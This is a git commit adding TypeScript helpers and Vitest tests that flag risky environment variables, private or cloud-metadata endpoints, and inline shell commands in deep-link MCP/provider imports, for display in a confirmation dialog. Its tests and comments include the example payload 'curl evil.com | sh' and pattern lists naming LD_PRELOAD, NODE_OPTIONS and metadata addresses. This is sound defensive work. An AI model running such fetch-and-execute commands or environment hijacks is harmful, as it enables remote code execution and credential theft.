feat(deeplink): add risk classification helpers for import confirmation

Pure helpers used only to annotate the deep-link confirmation dialog.
They deliberately do not block anything: custom endpoints and env vars
are normal third-party provider configuration (`http://localhost:11434`
is ordinary Ollama usage), so filtering them would break legitimate
setups. The actual gap is that the user cannot see what they are
approving, which is a visibility problem, not a policy one.

- `classifyEnvKey` flags variables that change how a process loads code
  rather than which API it talks to: LD_*/DYLD_*, NODE_OPTIONS,
  NODE_EXTRA_CA_CERTS, PYTHONPATH, PATH, HTTP(S)_PROXY and friends. No
  legitimate provider preset needs these set over a shared link.
- `classifyEndpoint` matches loopback, RFC 1918, link-local and cloud
  metadata addresses. Literal matching only, no DNS resolution: resolving
  adds latency and the answer can differ from what the client resolves
  later (rebinding), so treating it as a control would be false
  assurance. Handles IPv4-mapped IPv6, since `new URL()` normalizes
  `[::ffff:127.0.0.1]` to hex `[::ffff:7f00:1]` and a dotted-quad regex
  alone misses that whole class.
- `classifyCommand` looks at command *and* args, because the realistic
  payload is `command: "sh"` with `args: ["-c", "curl evil|sh"]` -- a UI
  that renders only the command shows a harmless `sh`. Inline-command
  flags are matched by shape, not by literal, to cover combined POSIX
  short options (`bash -lc`), case-insensitive `cmd /C`, and PowerShell's
  abbreviations of `-Command`.

Every parameter takes `unknown`. These values come from arbitrary
base64-decoded JSON, where TypeScript annotations offer no runtime
guarantee; a non-string `command` would throw on `.split()` and blank the
whole confirmation dialog, which is worse than the misleading render it
replaces -- the user would not even see that something wants importing.

`maskValue` moves here from the dialog component so the MCP and provider
confirmations share one redaction rule instead of drifting apart.
This commit is contained in:
Jason
2026-07-28 22:48:06 +08:00
parent cd17912f04
commit 6dbb944b54
2 changed files with 385 additions and 0 deletions
+172
View File
@@ -0,0 +1,172 @@
import { describe, expect, it } from "vitest";
import {
classifyCommand,
classifyEndpoint,
classifyEnvKey,
maskValue,
} from "./deeplinkRisk";
describe("classifyEndpoint", () => {
it("flags loopback, RFC 1918 and cloud metadata addresses", () => {
for (const url of [
"http://127.0.0.1:8080/v1",
"http://localhost:11434",
"http://10.0.0.1/api",
"http://172.16.0.1/",
"http://172.31.255.254/",
"http://192.168.1.1:9000/",
"http://169.254.169.254/latest/meta-data/", // AWS IMDS
"http://metadata.google.internal/",
"http://[::1]:8080/",
"http://box.local/",
"http://0.0.0.0/",
]) {
expect(classifyEndpoint(url), url).toBe("privateEndpoint");
}
});
it("leaves public endpoints alone", () => {
for (const url of [
"https://api.anthropic.com/v1",
"https://gateway.example.com/claude/v1",
// 172.x 只有 16-31 属于私网,边界两侧都要判对
"http://172.15.0.1/",
"http://172.32.0.1/",
// 192.168 之外的 192.x 是公网
"http://192.167.1.1/",
// 169.x 只有 169.254 是链路本地
"http://169.253.1.1/",
]) {
expect(classifyEndpoint(url), url).toBeNull();
}
});
it("returns null instead of throwing on unparseable input", () => {
expect(classifyEndpoint("")).toBeNull();
expect(classifyEndpoint("not a url")).toBeNull();
// url 来自解码后的任意 JSON,形状不可信
expect(classifyEndpoint(42)).toBeNull();
expect(classifyEndpoint({ href: "http://127.0.0.1" })).toBeNull();
expect(classifyEndpoint(null)).toBeNull();
});
it("sees through IPv4-mapped IPv6 hosts", () => {
// `new URL()` 把 `[::ffff:127.0.0.1]` 归一成十六进制 `[::ffff:7f00:1]`
// 点分形式在这一步就没了——只按 \d+\.\d+\.\d+\.\d+ 匹配会整类漏掉。
expect(classifyEndpoint("http://[::ffff:127.0.0.1]/")).toBe(
"privateEndpoint",
);
expect(classifyEndpoint("http://[::ffff:169.254.169.254]/")).toBe(
"privateEndpoint",
);
expect(classifyEndpoint("http://[::ffff:10.0.0.1]/")).toBe(
"privateEndpoint",
);
expect(classifyEndpoint("http://[0:0:0:0:0:ffff:c0a8:1]/")).toBe(
"privateEndpoint",
);
// 映射的公网地址不该误报:8.8.8.8 → ::ffff:808:808
expect(classifyEndpoint("http://[::ffff:8.8.8.8]/")).toBeNull();
});
});
describe("classifyEnvKey", () => {
it("flags variables that change how a process loads code", () => {
for (const key of [
"LD_PRELOAD",
"LD_LIBRARY_PATH",
"DYLD_INSERT_LIBRARIES",
"NODE_OPTIONS",
"NODE_EXTRA_CA_CERTS",
"PYTHONPATH",
"PATH",
"HTTPS_PROXY",
"https_proxy", // 大小写不敏感
]) {
expect(classifyEnvKey(key), key).toBe("envHijack");
}
});
it("leaves ordinary provider config alone", () => {
// 这几个是供应商预设的日常字段,误报会让整个提示失去意义
for (const key of [
"ANTHROPIC_AUTH_TOKEN",
"ANTHROPIC_BASE_URL",
"GEMINI_API_KEY",
"API_TIMEOUT_MS",
"ANTHROPIC_MODEL",
]) {
expect(classifyEnvKey(key), key).toBeNull();
}
});
});
describe("classifyCommand", () => {
it("flags a shell invoked with an inline command string", () => {
// 这正是界面上只渲染 command 时显示成无害 `sh` 的那种 payload
expect(classifyCommand("sh", ["-c", "curl evil.com | sh"])).toBe(
"shellCommand",
);
expect(classifyCommand("/bin/bash", ["-c", "x"])).toBe("shellCommand");
expect(classifyCommand("powershell.exe", ["-Command", "x"])).toBe(
"shellCommand",
);
});
it("leaves normal MCP launchers alone", () => {
expect(
classifyCommand("npx", ["-y", "@modelcontextprotocol/server-git"]),
).toBeNull();
expect(classifyCommand("uvx", ["mcp-server-fetch"])).toBeNull();
expect(classifyCommand("node", ["server.js"])).toBeNull();
// shell 但没有 -c:不是"执行这段字符串"的形态
expect(classifyCommand("sh", ["script.sh"])).toBeNull();
expect(classifyCommand(undefined, [])).toBeNull();
});
it("tolerates a non-array args field", () => {
// args 来自解码后的任意 JSON,形状不可信
expect(classifyCommand("sh", "not-an-array")).toBeNull();
expect(classifyCommand("sh", undefined)).toBeNull();
expect(classifyCommand("sh", [null, 42, { a: 1 }])).toBeNull();
});
it("never throws on a non-string command", () => {
// TS 签名挡不住 `JSON.parse` 出来的任意值。抛错会让确认框整个渲染失败——
// 用户连"有东西要导入"都看不到,比显示误导性的 `Command: sh` 更糟。
for (const hostile of [42, { a: 1 }, ["sh"], true, null, undefined]) {
expect(() => classifyCommand(hostile, ["-c", "x"])).not.toThrow();
expect(classifyCommand(hostile, ["-c", "x"])).toBeNull();
}
});
it("catches combined and case-insensitive inline-command flags", () => {
// POSIX shell 允许把短开关并成一串,只比 `-c` 字面量会漏掉这一整族
expect(classifyCommand("bash", ["-lc", "curl x|sh"])).toBe("shellCommand");
expect(classifyCommand("sh", ["-ec", "x"])).toBe("shellCommand");
expect(classifyCommand("zsh", ["-lic", "x"])).toBe("shellCommand");
// Windows 侧大小写不敏感
expect(classifyCommand("cmd.exe", ["/C", "x"])).toBe("shellCommand");
expect(classifyCommand("cmd", ["/k", "x"])).toBe("shellCommand");
// PowerShell 的 -Command 允许任意合法缩写
expect(classifyCommand("pwsh", ["-Comm", "x"])).toBe("shellCommand");
expect(classifyCommand("powershell.exe", ["-EncodedCommand", "eA=="])).toBe(
"shellCommand",
);
// 不含 c 的短开关串不算
expect(classifyCommand("bash", ["-l", "script.sh"])).toBeNull();
});
});
describe("maskValue", () => {
it("masks credential-shaped keys but keeps ordinary values readable", () => {
expect(maskValue("ANTHROPIC_AUTH_TOKEN", "sk-ant-1234567890abcdef")).toBe(
"sk-ant-1************",
);
expect(maskValue("ANTHROPIC_BASE_URL", "https://example.com")).toBe(
"https://example.com",
);
// 短值不脱敏,否则连"是不是空的"都看不出来
expect(maskValue("API_KEY", "short")).toBe("short");
});
});
+213
View File
@@ -0,0 +1,213 @@
// deeplink 导入确认框的取值呈现工具。
//
// 这里的所有判定**只用于 UI 提示,不参与任何拦截决策**。深链接携带的自定义
// endpoint 与 env 是第三方供应商的正常配置能力(`http://localhost:11434` 就是
// Ollama / LM Studio 的常规用法),拦下来会打断合法场景。真正的缺口是用户在
// 点「导入」时看不到自己在同意什么——所以补的是可见性,不是黑名单。
export type RiskKind = "envHijack" | "privateEndpoint" | "shellCommand";
/**
* 能改变子进程加载行为的环境变量。
*
* 它们的共同点是:不影响"访问哪个 API",而是影响"进程启动时加载什么代码 / 信任
* 哪张证书"。没有任何合法的供应商预设需要通过分享链接设置它们。
*/
const ENV_HIJACK_PATTERNS: RegExp[] = [
/^LD_/i, // LD_PRELOAD / LD_LIBRARY_PATH / LD_AUDIT
/^DYLD_/i, // macOS 对应物
/^NODE_OPTIONS$/i, // --require 任意脚本
/^NODE_EXTRA_CA_CERTS$/i, // 注入 CA → TLS 中间人
/^PYTHONPATH$/i,
/^PYTHONSTARTUP$/i,
/^RUBYOPT$/i,
/^PERL5OPT$/i,
/^JAVA_TOOL_OPTIONS$/i,
/^BASH_ENV$/i,
/^ENV$/i,
/^IFS$/i,
/^PATH$/i, // 整体劫持命令解析
/^HTTPS?_PROXY$/i, // 全量流量转发
];
/** 会被 shell 解释成"执行下面这段字符串"的调用形态。 */
const SHELL_INTERPRETERS = new Set([
"sh",
"bash",
"zsh",
"dash",
"ksh",
"fish",
"csh",
"tcsh",
"cmd",
"cmd.exe",
"powershell",
"powershell.exe",
"pwsh",
"pwsh.exe",
]);
/**
* 「下一个参数是要执行的命令串」这一族开关。
*
* 不能只比 `-c`POSIX shell 允许把单字母开关并成一串(`bash -lc`、`sh -eco pipefail`
* 之类),Windows 侧则是 `/c` `/k` 且大小写不敏感,PowerShell 还有 `-Command`
* 的各种缩写。这里按形态判定而不是枚举字面量。
*/
function isInlineCommandFlag(arg: string): boolean {
const lower = arg.toLowerCase();
// cmd.exe/c、/k,可带后缀(/c:
if (/^\/[ck]\b/.test(lower)) return true;
// PowerShell-Command / -c 及其任意合法缩写(-comm、-comma…)
if (/^-c(o(m(m(a(n(d)?)?)?)?)?)?$/.test(lower)) return true;
if (lower === "-encodedcommand" || lower === "-e" || lower === "-ec") {
return true;
}
// POSIX shell:单横线 + 一串短开关,其中含 c(-c、-lc、-ec、-eco…)
if (/^-[a-z]*c[a-z]*$/.test(lower)) return true;
return false;
}
/**
* 判定是否为环回 / 私网 / 云元数据地址。
*
* 只做**字面量**匹配,不做 DNS 解析:解析会引入超时,而且解析结果与客户端稍后
* 实际连接时的结果可以不同(DNS rebinding),拿它当防线是虚假的确定性。作为
* "这个地址看着像内网,你确认吗"的提示,字面量匹配已经够用。
*/
/**
* 取出主机的 IPv4 四元组,兼容 IPv4-mapped IPv6。
*
* `new URL("http://[::ffff:127.0.0.1]/")` 会把主机**归一成十六进制**
* `[::ffff:7f00:1]`,点分形式在这一步就消失了,只按 `\d+\.\d+\.\d+\.\d+`
* 匹配会整类漏掉——`[::ffff:169.254.169.254]` 同理会绕过内网判定。
*/
function extractIpv4Octets(bare: string): [number, number] | null {
const dotted = bare.match(/^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/);
if (dotted) return [Number(dotted[1]), Number(dotted[2])];
// ::ffff:7f00:1 → 0x7f00 0x0001 → 127.0.0.1
const mapped = bare.match(/^::ffff:([0-9a-f]{1,4}):([0-9a-f]{1,4})$/);
if (mapped) {
const high = parseInt(mapped[1], 16);
return [(high >> 8) & 0xff, high & 0xff];
}
// 少数实现保留点分尾巴:::ffff:127.0.0.1
const mappedDotted = bare.match(
/^::ffff:(\d{1,3})\.(\d{1,3})\.\d{1,3}\.\d{1,3}$/,
);
if (mappedDotted) {
return [Number(mappedDotted[1]), Number(mappedDotted[2])];
}
return null;
}
export function classifyEndpoint(rawUrl: unknown): RiskKind | null {
if (typeof rawUrl !== "string") return null;
let host: string;
try {
host = new URL(rawUrl).hostname.toLowerCase();
} catch {
return null;
}
// URL 会把 IPv6 主机保留在方括号里
const bare =
host.startsWith("[") && host.endsWith("]") ? host.slice(1, -1) : host;
if (
bare === "localhost" ||
bare.endsWith(".localhost") ||
bare.endsWith(".local") ||
bare.endsWith(".internal") ||
bare === "::1" ||
bare === "::" ||
bare === "0.0.0.0"
) {
return "privateEndpoint";
}
const octets = extractIpv4Octets(bare);
if (octets) {
const [a, b] = octets;
if (
a === 127 || // 环回
a === 10 || // RFC 1918
a === 0 ||
(a === 172 && b >= 16 && b <= 31) ||
(a === 192 && b === 168) ||
(a === 169 && b === 254) // 链路本地,含 AWS/GCP 元数据 169.254.169.254
) {
return "privateEndpoint";
}
}
// IPv6 唯一本地地址 fc00::/7 与链路本地 fe80::/10
if (/^f[cd][0-9a-f]{2}:/.test(bare) || /^fe[89ab][0-9a-f]:/.test(bare)) {
return "privateEndpoint";
}
return null;
}
export function classifyEnvKey(key: unknown): RiskKind | null {
if (typeof key !== "string") return null;
return ENV_HIJACK_PATTERNS.some((pattern) => pattern.test(key))
? "envHijack"
: null;
}
/**
* MCP server 的 `command` + `args`。
*
* 单看 `command` 完全不够:真实 payload 是 `command: "sh"` 配
* `args: ["-c", "curl evil|sh"]`,界面上只渲染 command 时它显示成无害的 `sh`。
*
* 两个参数都声明成 `unknown`:它们来自深链接里 base64 解码后的任意 JSONTS 的
* 类型标注在这个边界上不设防。写成 `string` 而实际收到对象或数字时 `.split()`
* 会抛错,把整个确认框炸成空白——那比显示一条误导性的 `Command: sh` 更糟,因为
* 用户连"有东西要导入"都看不到了。
*/
export function classifyCommand(
command: unknown,
args?: unknown,
): RiskKind | null {
if (typeof command !== "string" || !command) return null;
// 只取基名:`/bin/sh` 与 `sh` 是同一回事
const base = command.split(/[/\\]/).pop()?.toLowerCase() ?? "";
if (!SHELL_INTERPRETERS.has(base)) return null;
if (!Array.isArray(args)) return null;
return args.some((arg) => typeof arg === "string" && isInlineCommandFlag(arg))
? "shellCommand"
: null;
}
/**
* 凭据类取值的展示脱敏。
*
* 原先是 `DeepLinkImportDialog` 内的组件闭包;MCP 确认页也要展示 env,抽出来是
* 为了两处共用同一套规则——各写一份迟早会漂移成两种脱敏口径。
*/
export function maskValue(key: string, value: string): string {
const sensitiveKeys = ["TOKEN", "KEY", "SECRET", "PASSWORD"];
const isSensitive = sensitiveKeys.some((k) => key.toUpperCase().includes(k));
if (isSensitive && value.length > 8) {
return `${value.substring(0, 8)}${"*".repeat(12)}`;
}
return value;
}
/** 风险种类 → i18n key。 */
export function riskI18nKey(kind: RiskKind): string {
return `deeplink.risk.${kind}`;
}